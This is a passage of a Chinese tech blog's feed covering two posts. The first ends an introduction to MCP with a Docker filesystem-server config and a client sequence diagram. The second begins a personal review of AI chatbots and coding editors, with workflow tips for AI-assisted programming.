<code>claude_desktop_config.json</code> &#x6587;&#x4EF6;&#x4E2D;&#x6DFB;&#x52A0;&#x914D;&#x7F6E;&#xFF1A;</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">&quot;filesystem&quot;</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">    <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;docker&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;args&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">      <span class="string">&quot;run&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="string">&quot;-i&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="string">&quot;--rm&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="string">&quot;--mount&quot;</span><span class="punctuation">,</span> <span class="string">&quot;type=bind,src=D:\\WORK\\AI_workstation,dst=/projects/allowed/dir&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="string">&quot;--mount&quot;</span><span class="punctuation">,</span> <span class="string">&quot;type=bind,src=D:\\path\\to\\readonly\\dir,dst=/projects/other/allowed/dir,ro&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="string">&quot;mcp/filesystem&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="string">&quot;/projects&quot;</span></span><br><span class="line">    <span class="punctuation">]</span></span><br><span class="line">  <span class="punctuation">}</span></span><br></pre></td></tr></table></figure><blockquote><p>&#x6309;&#x7167;&#x89C4;&#x5B9A;&#xFF0C;&#x76EE;&#x5F55;&#x90FD;&#x9700;&#x8981;&#x7ED1;&#x5B9A;&#x5230;<code>/projects</code> &#x76EE;&#x5F55;&#x4E0B;&#x3002;</p></blockquote><p>&#x73B0;&#x5728;LLM &#x80FD;&#x591F;&#x76F4;&#x63A5;&#x64CD;&#x4F5C;&#x8FD9;&#x4E2A;&#x6307;&#x5B9A;&#x7684;&#x672C;&#x5730;&#x76EE;&#x5F55;&#x4E2D;&#x7684;&#x5185;&#x5BB9;&#x4E86;(&#x914D;&#x7F6E;&#x4E2D;&#x7ED9;&#x5B9A;&#x4E86; <code>ro</code> &#x6743;&#x9650;)</p><p>&#x4E3A;&#x4E86;&#x5B89;&#x5168;&#x8D77;&#x89C1;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x6307;&#x5B9A;&#x6709;&#x9650;&#x7684;&#x8BFB;&#x6743;&#x9650;&#xFF0C;&#x901A;&#x8FC7;&#x5728;&#x914D;&#x7F6E;&#x4E2D;&#x8BBE;&#x7F6E;<code>ro</code>, &#x5982;&#x4E0A;&#x9762;&#x6302;&#x8F7D;&#x7684;&#x7B2C;&#x4E8C;&#x4E2A;&#x6587;&#x4EF6;&#x76EE;&#x5F55;&#x7ED3;&#x5C3E;&#x3002;</p><p>&#x914D;&#x7F6E;&#x6210;&#x529F;&#x540E;&#xFF0C;&#x5C31;&#x80FD;&#x5728; Claude &#x5BF9;&#x8BDD;&#x6846;&#x7684; &#x1F528; &#x6309;&#x94AE;&#x5904;&#x770B;&#x5230;&#x53EF;&#x7528;&#x7684; MCP &#x5DE5;&#x5177;&#x4E86;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/202503111036110.png" alt="image.png"></p><p>&#x5982;&#x5728;&#x5728;&#x5BF9;&#x8BDD;&#x8FC7;&#x7A0B;&#x4E2D;&#x8981;&#x6C42; AI &#x5C06;&#x67D0;&#x4E9B;&#x6570;&#x636E;&#x5199;&#x5165;&#x6307;&#x5B9A;&#x6587;&#x4EF6;&#xFF0C;&#x5C31;&#x4F1A;&#x6FC0;&#x6D3B; MCP &#x5DE5;&#x5177;&#xFF0C;&#x5141;&#x8BB8;&#x5B83;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x5C31;&#x80FD;&#x5C06;&#x7ED3;&#x679C;&#x5199;&#x5165;&#x6307;&#x5B9A;&#x6587;&#x4EF6;&#x3002;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/202503111036223.png" alt="image.png"></p><h2 id="3-&#x642D;&#x5EFA;-mcp-Client">3. &#x642D;&#x5EFA; mcp Client</h2><pre class="mermaid">sequenceDiagram    actor User as &#x7528;&#x6237;    participant Client as MCP&#x5BA2;&#x6237;&#x7AEF;    participant Claude as Claude AI    participant Server as MCP&#x670D;&#x52A1;&#x5668;    participant Tools as &#x5DE5;&#x5177;&#x6267;&#x884C;        Note over User, Tools: &#x521D;&#x59CB;&#x5316;&#x9636;&#x6BB5;    User -&gt;&gt; Client: &#x542F;&#x52A8;&#x5BA2;&#x6237;&#x7AEF;<br>(uv run client.py server.py)    Client -&gt;&gt; Server: &#x8FDE;&#x63A5;&#x670D;&#x52A1;&#x5668;    Server --&gt;&gt; Client: &#x786E;&#x8BA4;&#x8FDE;&#x63A5;    Client -&gt;&gt; Server: &#x8BF7;&#x6C42;&#x53EF;&#x7528;&#x5DE5;&#x5177;&#x5217;&#x8868;    Server --&gt;&gt; Client: &#x8FD4;&#x56DE;&#x5DE5;&#x5177;&#x5217;&#x8868;    Client --&gt;&gt; User: &#x663E;&#x793A;&#x53EF;&#x7528;&#x5DE5;&#x5177;&#x548C;&#x542F;&#x52A8;&#x63D0;&#x793A;        Note over User, Tools: &#x5BF9;&#x8BDD;&#x5FAA;&#x73AF;    loop &#x4EA4;&#x4E92;&#x4F1A;&#x8BDD;        User -&gt;&gt; Client: &#x8F93;&#x5165;&#x67E5;&#x8BE2;                Client -&gt;&gt; Claude: &#x53D1;&#x9001;&#x67E5;&#x8BE2;&#x548C;&#x5DE5;&#x5177;&#x63CF;&#x8FF0;                Note over Claude: &#x5206;&#x6790;&#x67E5;&#x8BE2;&#x5E76;&#x51B3;&#x5B9A;<br>&#x662F;&#x5426;&#x4F7F;&#x7528;&#x5DE5;&#x5177;                alt &#x9700;&#x8981;&#x4F7F;&#x7528;&#x5DE5;&#x5177;            Claude -&gt;&gt; Client: &#x8BF7;&#x6C42;&#x6267;&#x884C;&#x5DE5;&#x5177;&#x8C03;&#x7528;            Client -&gt;&gt; Server: &#x8F6C;&#x53D1;&#x5DE5;&#x5177;&#x8C03;&#x7528;&#x8BF7;&#x6C42;            Server -&gt;&gt; Tools: &#x6267;&#x884C;&#x6307;&#x5B9A;&#x5DE5;&#x5177;            Tools --&gt;&gt; Server: &#x8FD4;&#x56DE;&#x6267;&#x884C;&#x7ED3;&#x679C;            Server --&gt;&gt; Client: &#x8FD4;&#x56DE;&#x5DE5;&#x5177;&#x7ED3;&#x679C;            Client --&gt;&gt; Claude: &#x53D1;&#x9001;&#x5DE5;&#x5177;&#x6267;&#x884C;&#x7ED3;&#x679C;        end                Claude --&gt;&gt; Client: &#x751F;&#x6210;&#x6700;&#x7EC8;&#x54CD;&#x5E94;        Client --&gt;&gt; User: &#x663E;&#x793A;&#x54CD;&#x5E94;    end        User -&gt;&gt; Client: &#x8F93;&#x5165;&quot;quit&quot;    Client -&gt;&gt; Server: &#x5173;&#x95ED;&#x8FDE;&#x63A5;    Client --&gt;&gt; User: &#x7ED3;&#x675F;&#x4F1A;&#x8BDD;</pre><p>&#x53C2;&#x8003;&#xFF1A; <a href="https://modelcontextprotocol.io/introduction">https://modelcontextprotocol.io/introduction</a></p><h2 id="4-&#x8D44;&#x6E90;">4. &#x8D44;&#x6E90;:</h2><ul class="lvl-0"><li class="lvl-2"><p><a href="https://mcp-get.com/">https://mcp-get.com/</a></p></li><li class="lvl-2"><p><a href="https://mcp.composio.dev/">https://mcp.composio.dev/</a></p></li><li class="lvl-2"><p><a href="https://smithery.ai/">https://smithery.ai/</a></p></li><li class="lvl-2"><p><a href="https://github.com/modelcontextprotocol/servers">https://github.com/modelcontextprotocol/servers</a></p></li><li class="lvl-2"><p><a href="https://github.com/agno-agi/agno">https://github.com/agno-agi/agno</a></p></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;MCP(Model Context Protocol) &amp;#x521D;&amp;#x63A2;&lt;/p&gt;
&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x4ECB;&amp;#x7ECD;&amp;#x4E86;MCP&amp;#xFF08;&amp;#x6A21;&amp;#x578B;&amp;#x4E0A;&amp;#x4E0B;&amp;#x6587;&amp;#x534F;&amp;#x8BAE;&amp;#xFF09;&amp;#x7684;&amp;#x57FA;&amp;#x672C;&amp;#x6982;&amp;#x5FF5;&amp;#x53CA;&amp;#x5DE5;&amp;#x4F5C;&amp;#x539F;&amp;#x7406;&amp;#xFF0C;&amp;#x5C55;&amp;#x793A;&amp;#x4E86;&amp;#x5982;&amp;#x4F55;&amp;#x901A;&amp;#x8FC7;&amp;#x8BE5;&amp;#x534F;&amp;#x8BAE;&amp;#x6269;&amp;#x5C55;LLM&amp;#x80FD;&amp;#x529B;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x8BE6;&amp;#x7EC6;&amp;#x8BB2;&amp;#x89E3;&amp;#x4E86;MCP&amp;#x7684;&amp;#x4EA4;&amp;#x4E92;&amp;#x6D41;&amp;#x7A0B;&amp;#x3001;&amp;#x670D;&amp;#x52A1;&amp;#x5668;&amp;#x914D;&amp;#x7F6E;&amp;#x65B9;&amp;#x6CD5;&amp;#xFF0C;&amp;#x5E76;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;&amp;#x5B9E;&amp;#x7528;&amp;#x7684;Docker&amp;#x90E8;&amp;#x7F72;&amp;#x793A;&amp;#x4F8B;&amp;#xFF0C;&amp;#x5E2E;&amp;#x52A9;&amp;#x8BFB;&amp;#x8005;&amp;#x7406;&amp;#x89E3;&amp;#x5982;&amp;#x4F55;&amp;#x8BA9;AI&amp;#x6A21;&amp;#x578B;&amp;#x8BBF;&amp;#x95EE;&amp;#x672C;&amp;#x5730;&amp;#x6587;&amp;#x4EF6;&amp;#x7CFB;&amp;#x7EDF;&amp;#x7B49;&amp;#x5916;&amp;#x90E8;&amp;#x8D44;&amp;#x6E90;&amp;#xFF0C;&amp;#x5B9E;&amp;#x73B0;&amp;#x66F4;&amp;#x5F3A;&amp;#x5927;&amp;#x7684;&amp;#x529F;&amp;#x80FD;&amp;#x6269;&amp;#x5C55;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="AI" scheme="https://oschina.win/categories/AI/"/>
    
    
    <category term="AI" scheme="https://oschina.win/tags/AI/"/>
    
  </entry>
  
  <entry>
    <title>AI-coding-experience-and-thoughts</title>
    <link href="https://oschina.win/posts/d15e304f.html"/>
    <id>https://oschina.win/posts/d15e304f.html</id>
    <published>2025-03-02T16:32:43.000Z</published>
    <updated>2025-03-02T16:32:43.000Z</updated>
    
    <content type="html"><![CDATA[<p>&#x672C;&#x6587;&#x5206;&#x4EAB;&#x4F5C;&#x8005;&#x5BF9;AI&#x7F16;&#x7A0B;&#x5DE5;&#x5177;&#x7684;&#x5B9E;&#x9645;&#x4F7F;&#x7528;&#x4F53;&#x9A8C;&#xFF0C;&#x8BC4;&#x6D4B;&#x4E86;&#x591A;&#x79CD;AI&#x804A;&#x5929;&#x673A;&#x5668;&#x4EBA;&#x548C;&#x4EE3;&#x7801;&#x7F16;&#x8F91;&#x5668;&#x7684;&#x6027;&#x80FD;&#x7279;&#x70B9;&#x3002;&#x8BE6;&#x7EC6;&#x63A2;&#x8BA8;&#x4E86;AI&#x8F85;&#x52A9;&#x7F16;&#x7A0B;&#x7684;&#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;&#xFF0C;&#x5206;&#x6790;&#x4E86;&#x4EBA;&#x5728;AI&#x65F6;&#x4EE3;&#x8F6C;&#x53D8;&#x4E3A;&quot;&#x4EA7;&#x54C1;&#x7ECF;&#x7406;&quot;&#x89D2;&#x8272;&#x7684;&#x8D8B;&#x52BF;&#xFF0C;&#x5E76;&#x63D0;&#x51FA;&#x4E86;&#x8F6F;&#x4EF6;&#x67B6;&#x6784;&#x80FD;&#x529B;&#x3001;&#x6280;&#x672F;&#x57FA;&#x7840;&#x548C;&#x8D44;&#x6E90;&#x8C03;&#x5EA6;&#x80FD;&#x529B;&#x5728;&#x65B0;&#x8303;&#x5F0F;&#x4E0B;&#x7684;&#x91CD;&#x8981;&#x6027;&#x3002;</p><span id="more"></span><p>2025 &#x5E74; AI &#x7684;&#x53D1;&#x5C55;&#x771F;&#x662F;&#x8BA9;&#x4EBA;&#x76EE;&#x4E0D;&#x6687;&#x63A5;&#xFF0C;&#x5404;&#x79CD;&#x516C;&#x53F8;&#x7684; AI &#x4EA7;&#x54C1;&#x8FED;&#x4EE3;&#x901F;&#x5EA6;&#x771F;&#x5FEB;&#xFF0C;&#x751A;&#x81F3;&#x5728;&#x6211;&#x5199;&#x8FD9;&#x7BC7;&#x6587;&#x7AE0;&#x7684;&#x521D;&#x7A3F;&#x4E4B;&#x540E;&#xFF0C;&#x6709;&#x4E9B;&#x5185;&#x5BB9;&#x9700;&#x8981;&#x518D;&#x6B21;&#x66F4;&#x65B0;&#x3002;</p><p>&#x4F5C;&#x4E3A;&#x4E00;&#x4E2A;&#x7A0B;&#x5E8F;&#x5458;&#x5373;&#x611F;&#x89C9;&#x5230;&#x4E86;&#x5371;&#x673A;&#xFF0C;&#x53C8;&#x611F;&#x89C9;&#x5F97;&#x5230;&#x4E86;&#x4E00;&#x4E9B;&#x673A;&#x4F1A;&#x3002;&#x5BF9;&#x4E8E;&#x6700;&#x65B0;&#x6700;&#x5148;&#x8FDB;&#x7684;&#x6280;&#x672F;&#xFF0C;&#x603B;&#x5E0C;&#x671B;&#x80FD;&#x591F;&#x5FEB;&#x901F;&#x4F53;&#x9A8C;&#xFF0C;&#x751F;&#x6015;&#x843D;&#x540E;&#x4E86;&#x3002;</p><p>&#x4E8E;&#x662F;&#x5728;&#x4F53;&#x9A8C;&#x4E86;&#x4E00;&#x6BB5;&#x65F6;&#x95F4;&#x5404;&#x79CD;&#x5148;&#x8FDB; AI &#x5E94;&#x7528;&#x4E4B;&#x540E;&#xFF0C;&#x6709;&#x4E00;&#x4E9B;&#x5C0F;&#x5C0F;&#x4F53;&#x9A8C;&#x548C;&#x611F;&#x60F3;&#x3002;</p><h3 id="&#x603B;&#x7ED3;">&#x603B;&#x7ED3;</h3><p>&#x9996;&#x5148;&#x4EE5;&#x6211;&#x81EA;&#x5DF1;&#x7684;&#x4F7F;&#x7528;&#x4F53;&#x9A8C;&#x603B;&#x7ED3;&#x4E00;&#x4E0B;&#x7528;&#x8FC7;&#x7684; AI &#x4EA7;&#x54C1;&#xFF1A;</p><blockquote><p>&#x622A;&#x6B62;&#x65E5;&#x671F; 2025 &#x5E74; 3 &#x6708;&#x521D;</p></blockquote><p><em><strong>AI  Chatbot&#xFF1A;</strong></em></p><blockquote><p>&#x7EAF;&#x4E3B;&#x89C2;&#x7684;&#xFF0C;&#x4E0D;&#x516C;&#x6B63;&#x7684;&#x4F7F;&#x7528;&#x4F53;&#x9A8C;</p></blockquote><ul class="lvl-0"><li class="lvl-2"><p>&#x901F;&#x5EA6;&#x5FEB;&#x7684;&#xFF1A; Gemini&#xFF0C;Grok&#xFF0C;QWen&#xFF08;&#x672C;&#x6765;&#x6709; ChatGPT &#x7684;&#xFF0C;&#x6700;&#x8FD1;&#x4E00;&#x6BB5;&#x65F6;&#x95F4;&#x611F;&#x89C9;&#x6162;&#x4E86;&#x4E0D;&#x5C11;&#xFF0C;&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x4E5F;&#x4E0D;&#x592A;&#x6EE1;&#x610F;&#xFF0C;&#x56E0;&#x6B64;&#x628A;&#x5B83;&#x5F00;&#x9664;&#x4E86;&#xFF09;</p></li><li class="lvl-2"><p>&#x901F;&#x5EA6;&#x6162;&#x7684;&#xFF1A;Deepseek&#xFF0C; VS Code with Copilot</p></li><li class="lvl-2"><p>&#x4E2D;&#x6587;&#x903B;&#x8F91;&#x80FD;&#x529B;&#x5F3A;&#x7684;&#xFF1A;Deepseek</p></li><li class="lvl-2"><p>&#x4EE3;&#x7801;&#x80FD;&#x529B;&#x5F3A;&#x7684;&#xFF1A;Cladude-3.7(new)&#xFF0C;Cladude-3.5&#xFF0C;Deepseek</p></li><li class="lvl-2"><p>Reasoning+WebSearch:  ChatGPT&#xFF0C;Deepseek</p></li><li class="lvl-2"><p>DeepSearch: Grok3</p></li><li class="lvl-2"><p>bugfix &#x80FD;&#x529B;&#x5F3A;&#x7684;&#xFF1A;o3-mini, Deepseek, Cladude-3.5/3.7</p></li><li class="lvl-2"><p>&#x8BC6;&#x522B;&#x56FE;&#x7247;&#x7684;&#xFF1A;Gemini&#xFF0C;QWen</p></li><li class="lvl-2"><p>&#x751F;&#x6210;&#x56FE;&#x7247;&#x7684;&#xFF1A;Gemini&#xFF0C;Grok3</p></li></ul><p><em><strong>AI &#x7F16;&#x8F91;&#x5668;&#xFF1A;</strong></em></p><ul class="lvl-0"><li class="lvl-2"><p>Cursor + Deepseek/Cladude-3.7</p></li><li class="lvl-2"><p>Trae + Cladude-3.5/Cladude-3.7</p></li><li class="lvl-2"><p>VS Code with Copilot + o3-mini</p></li></ul><p>&#x901F;&#x5EA6;&#x6700;&#x6162;&#x7684;&#x662F;: VS Code with Copilot<br>&#x9879;&#x76EE;&#x8D77;&#x6B65;&#x9002;&#x5408;&#x7528;: Trae<br>&#x540E;&#x7EED;&#x529F;&#x80FD;&#x8FED;&#x4EE3;&#x9002;&#x5408;&#x7528;&#xFF1A;Cursor</p><p>&#x8FD9;&#x91CC;&#x9762;&#x6700;&#x6709;&#x540D;&#x7684;&#x662F; Cursor&#xFF0C;&#x4E0D;&#x8FC7;&#x6211;&#x5BF9; Cursor &#x6DF1;&#x5EA6;&#x4F7F;&#x7528;&#x4E4B;&#x540E;&#xFF0C;&#x611F;&#x89C9;&#x5B83;&#x4E5F;&#x4E0D;&#x662F;&#x90A3;&#x4E48;&#x597D;&#x7528;&#x3002;</p><p>&#x6BD4;&#x5982;&#x4F7F;&#x7528; rust &#x5199;&#x9879;&#x76EE;&#xFF0C;&#x529F;&#x80FD;&#x590D;&#x6742;&#x4E4B;&#x540E;&#xFF0C;&#x6A21;&#x5757;&#x6BD4;&#x8F83;&#x591A;&#xFF0C;&#x6A21;&#x5757;&#x95F4;&#x7684;&#x4F9D;&#x8D56;&#x5173;&#x7CFB;&#x4E5F;&#x5C31;&#x590D;&#x6742;&#x4E86;&#x3002;&#x518D;&#x901A;&#x8FC7; Cursor &#x51E0;&#x6B21;&#x91CD;&#x6784;&#x540E;&#xFF0C;&#x66F4;&#x662F;&#x8D8A;&#x6765;&#x8D8A;&#x6DF7;&#x4E71;&#x3002;&#x7F16;&#x8BD1;&#x65F6;&#x6C38;&#x8FDC;&#x6709;&#x4E00;&#x5927;&#x5806;&#x6A21;&#x5757;&#x4F9D;&#x8D56;&#x95EE;&#x9898;&#xFF0C;&#x91CD;&#x590D;&#x5B9A;&#x4E49;&#xFF0C;&#x91CD;&#x590D;&#x5F15;&#x7528;&#xFF0C;&#x7F3A;&#x5C11;&#x5B9A;&#x4E49;&#xFF0C;&#x7F3A;&#x5C11;&#x5F15;&#x7528;&#xFF0C;&#x7F3A;&#x5C11;&#x5BFC;&#x5165;&#x7B49;&#x7B49;&#x8FD9;&#x4E00;&#x5806;&#x4F4E;&#x7EA7;&#x95EE;&#x9898;&#x3002;&#x6700;&#x540E;&#x7684;&#x7ED3;&#x5C40;&#x5927;&#x6982;&#x53EA;&#x6709;&#x91CD;&#x5F00;&#x9879;&#x76EE;&#xFF0C;&#x56E0;&#x4E3A;&#x592A;&#x8D39;&#x65F6;&#x95F4;&#xFF0C;&#x4E5F;&#x592A;&#x8D39; token&#x4E86;&#xFF0C;&#x4E0D;&#x503C;&#x5F97;&#x3002;</p><p>&#x6211;&#x540E;&#x9762;&#x5E94;&#x5BF9;&#x65B9;&#x6848;&#x662F;&#xFF1A;&#x4E00;&#x5F00;&#x59CB;&#x6240;&#x6709;&#x7684;&#x4EE3;&#x7801;&#x90FD;&#x5728;&#x5355;&#x4E2A;&#x6587;&#x4EF6;&#x3002;&#x53EA;&#x6709;&#x57FA;&#x672C;&#x529F;&#x80FD;&#x5B9E;&#x73B0;&#xFF0C;&#x628A;&#x8FD9;&#x5148;&#x8DD1;&#x901A;&#xFF0C;&#x80FD;&#x591F;&#x7B97;&#x5F97;&#x4E0A;&#x662F;MVP&#x4E86;&#xFF0C;&#x63D0;&#x4EA4;&#x4FDD;&#x5B58;&#xFF0C;&#x7136;&#x540E;&#x518D;&#x8BA9; Cursor &#x5C06;&#x8FD9;&#x4E2A;&#x9879;&#x76EE;&#x5DE5;&#x7A0B;&#x5316;&#xFF0C;&#x5373;&#x5C06;&#x5355;&#x4E2A;&#x5927;&#x6587;&#x4EF6;&#x62C6;&#x5206;&#x4E3A;&#x591A;&#x4E2A;&#x6A21;&#x5757;&#xFF0C;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#xFF0C;&#x5F80;&#x5F80;&#x80FD;&#x53D6;&#x5F97;&#x6BD4;&#x8F83;&#x597D;&#x7684;&#x6548;&#x679C;&#x3002;&#x5F53;&#x7136;&#x8FD9;&#x4E2A;&#x4E5F;&#x53EF;&#x4EE5;&#x8BA9; Trae &#x7684; Builder &#x6765;&#x5B8C;&#x6210;&#x3002;</p><p>&#x4E0D;&#x8FC7;&#x5B83;&#x4EEC;&#x90FD;&#x6709;&#x4E00;&#x4E2A;&#x5927;&#x7684;&#x7279;&#x70B9;&#xFF0C;&#x5C31;&#x662F;&#x4F1A;&#x8F93;&#x51FA;&#x4E00;&#x5927;&#x5806;&quot;&#x8F66;&#x8F71;&#x8F98;&quot;&#x4EE3;&#x7801;&#xFF0C;&#x5C31;&#x8DDF;&#x5B83;&#x4EEC;&#x5F88;&#x64C5;&#x957F;&#x8F93;&#x51FA;&#x6F02;&#x4EAE;&#x7684;&#x5E9F;&#x8BDD;&#x4E00;&#x6837;&#xFF0C;&#x4EE5;&#x53CA;&#x4F1A;&#x72AF;&#x4E00;&#x4E9B;&#x4F4E;&#x7EA7;&#x9519;&#x8BEF;&#x3001;&#x91CD;&#x590D;&#x6027;&#x9519;&#x8BEF;&#x3002;&#x5B9E;&#x9645;&#x4E0A;&#x8FD8;&#x662F;&#x90A3;&#x4E2A;&#x95EE;&#x9898;&#xFF0C;&#x5BF9;&#x4E8E;&#x5165;&#x95E8;&#x7EA7;&#x9879;&#x76EE;&#xFF0C;&#x6216;&#x8005;&#x7F51;&#x4E0A;&#x6709;&#x5F88;&#x591A;&#x6A21;&#x677F;&#x7684;&#x9879;&#x76EE;&#xFF0C;&#x7279;&#x522B;&#x662F;&#x73B0;&#x5728;&#x7684;&#x524D;&#x7AEF;&#xFF0C;&#x7528;&#x5B83;&#x4EEC;&#x5B9E;&#x73B0;&#x9879;&#x76EE;&#x539F;&#x578B;&#x786E;&#x5B9E;&#x53C8;&#x5FEB;&#x53C8;&#x597D;&#xFF0C;&#x4F46;&#x662F;&#x8981;&#x5B9E;&#x73B0;&#x590D;&#x6742;&#x7684;&#x903B;&#x8F91;&#x3001;&#x529F;&#x80FD;&#xFF0C;&#x8FD9;&#x662F;&#x5F97;&#x53D6;&#x51B3;&#x4E8E;&#x4EBA;&#xFF0C;&#x9700;&#x8981;&#x4EBA;&#x6765;&#x628A;&#x63A7;&#x9700;&#x6C42;&#x548C;&#x8D28;&#x91CF;&#x3002;</p><h3 id="&#x4EBA;&#x8D8A;&#x6765;&#x8D8A;&#x50CF;&#x4EA7;&#x54C1;&#x7ECF;&#x7406;">&#x4EBA;&#x8D8A;&#x6765;&#x8D8A;&#x50CF;&#x4EA7;&#x54C1;&#x7ECF;&#x7406;</h3><p>&#x4EE5;&#x524D;&#x6709;&#x53E5;&#x8BDD;&#xFF1A;&#x4EBA;&#x4EBA;&#x90FD;&#x662F;&#x4EA7;&#x54C1;&#x7ECF;&#x7406;&#x3002;&#x5728;2025&#x5E74;&#xFF0C;&#x8FD9;&#x53E5;&#x8BDD;&#x53EF;&#x80FD;&#x66F4;&#x6B63;&#x786E;&#xFF0C;&#x66F4;&#x5408;&#x9002;&#x3002;</p><p><em><strong>&#x6211;&#x7684;&#x6D41;&#x7A0B;&#xFF1A;</strong></em></p><ol><li class="lvl-3"><p>&#x8BA9; AI &#x6574;&#x5408;&#x4FE1;&#x606F;&#xFF0C;&#x751F;&#x6210;&#x5B8C;&#x6574;&#x7684;&#x6709;&#x903B;&#x8F91;&#x7684; prompt &#x8BED;&#x53E5;</p></li><li class="lvl-3"><p>&#x6839;&#x636E;&#x6574;&#x5408;&#x7684; prompt &#x518D;&#x8BA9; Grok3 DeepSearch &#x751F;&#x6210;&#x6280;&#x672F;&#x62A5;&#x544A;</p></li><li class="lvl-3"><p>&#x6839;&#x636E;&#x6280;&#x672F;&#x62A5;&#x544A;&#xFF0C;&#x518D;&#x8BA9; Cursor, Trae &#x540C;&#x65F6;&#x5B8C;&#x6210;&#x9879;&#x76EE;&#x3002;</p></li><li class="lvl-3"><p>&#x518D;&#x5BF9;&#x529F;&#x80FD;&#x8FDB;&#x884C;&#x4F18;&#x5316;&#x3001;&#x6539;&#x8FDB;&#x3002;</p></li></ol><p>&#x6211;&#x8BA9;&#x51E0;&#x4E2A; AI &#x751F;&#x6210;&#x4E86;&#x4E00;&#x4EFD;&#x8F6F;&#x4EF6;&#x8BBE;&#x8BA1;&#x6587;&#x6863;&#xFF0C;&#x7136;&#x540E;&#x7EFC;&#x5408;&#x4E86;&#x8D77;&#x6765;&#xFF0C;&#x4F5C;&#x4E3A;&#x6A21;&#x7248;&#x4F7F;&#x7528;&#x3002;&#x51C6;&#x5907;&#x6750;&#x6599;&#xFF1A;</p><ol><li class="lvl-4"><p>cursor rules &#x6587;&#x6863;&#xFF08;JavaScript, golang, rust &#x7B49;&#x4E0D;&#x540C;&#x9879;&#x76EE;&#x4F7F;&#x7528;&#x7684;&#x89C4;&#x5219;&#x4E0D;&#x540C;&#xFF09;</p></li><li class="lvl-3"><p>&#x8F6F;&#x4EF6;&#x8BBE;&#x8BA1;&#x6587;&#x6863;&#xFF08;&#x901A;&#x7528;&#x6A21;&#x677F;&#xFF0C;&#x4F46;&#x662F;&#x5177;&#x4F53;&#x9879;&#x76EE;&#x9700;&#x8981;&#x586B;&#x5199;&#x5177;&#x4F53;&#x7684;&#x5185;&#x5BB9;&#xFF09;</p></li><li class="lvl-3"><p>&#x53C2;&#x8003;&#x6587;&#x6863;&#xFF08;&#x5177;&#x4F53;&#x6280;&#x672F;&#x6808;&#x6240;&#x6D89;&#x53CA;&#x7684;&#x6587;&#x6863;&#xFF09;</p></li><li class="lvl-3"><p>&#x76F8;&#x5173;&#x7F51;&#x9875;&#xFF0C;URL&#xFF0C;&#x672C;&#x5730;&#x8D44;&#x6599;&#x7B49;&#x3002;&#xFF08;&#x66F4;&#x5E7F;&#x6CDB;&#x7684;&#x8D44;&#x6599;&#xFF09;</p></li></ol><blockquote><p>cursor rules &#x6709;&#x5F88;&#x591A;&#x53C2;&#x8003;&#xFF1A;</p><ol><li class="lvl-3"><a href="https://docs.cursor.com/context/rules-for-ai">https://docs.cursor.com/context/rules-for-ai</a></li><li class="lvl-3"><a href="https://cursor.directory/%EF%BC%8C">https://cursor.directory/&#xFF0C;</a></li><li class="lvl-3"><a href="https://dotcursorrules.com/">https://dotcursorrules.com/</a>,</li></ol></blockquote><p>*<strong>&#x5173;&#x952E;&#x70B9;&#xFF1A;</strong></p><ul class="lvl-0"><li class="lvl-2"><p>&#x524D;&#x671F;&#x5BF9;&#x4EA7;&#x54C1;&#x529F;&#x80FD;&#x6240;&#x6D89;&#x53CA;&#x7684;&#x6280;&#x672F;&#x8981;&#x6709;&#x6240;&#x4E86;&#x89E3;</p></li><li class="lvl-2"><p>&#x5408;&#x7406;&#x8BBE;&#x7F6E; AI IDE &#x7684;&#x89C4;&#x5219;</p></li><li class="lvl-2"><p>&#x4ECE;&#x6700;&#x5C0F;&#x53EF;&#x884C;&#x4EA7;&#x54C1;&#x5F00;&#x59CB;&#xFF0C;&#x9A8C;&#x8BC1;&#x529F;&#x80FD;&#x4EE5;&#x53CA;&#x6D41;&#x7A0B;&#x540E;&#xFF0C;&#x8FDB;&#x884C;&#x529F;&#x80FD;&#x8FED;&#x4EE3;</p></li><li class="lvl-2"><p>&#x6BCF;&#x6B21;&#x4E0D;&#x80FD;&#x6539;&#x53D8;&#x592A;&#x591A;&#x6587;&#x4EF6;&#xFF0C;&#x5426;&#x5219;&#x96BE;&#x4EE5;&#x5BA1;&#x6838;&#x66F4;&#x6539;&#x7684;&#x6B63;&#x786E;&#x6027;</p></li><li class="lvl-2"><p>&#x6D4B;&#x8BD5;&#x4EE3;&#x7801;&#x4E0D;&#x53EF;&#x5C11;</p></li><li class="lvl-2"><p>&#x591A;&#x6D4B;&#x8BD5;(&#x5BF9;&#x4E8E;&#x6BCF;&#x6B21;&#x8DD1;&#x6D4B;&#x8BD5;&#x9700;&#x8981;&#x7B49;&#x5F85;&#x4E00;&#x4F1A;&#x513F;&#x7684;&#x5F00;&#x53D1;&#x4E0D;&#x592A;&#x53CB;&#x597D;)&#xFF0C;&#x591A;&#x9A8C;&#x8BC1;</p></li><li class="lvl-2"><p>&#x53CA;&#x65F6; git commit</p></li><li class="lvl-2"><p>&#x7075;&#x6D3B;&#x4F7F;&#x7528; git 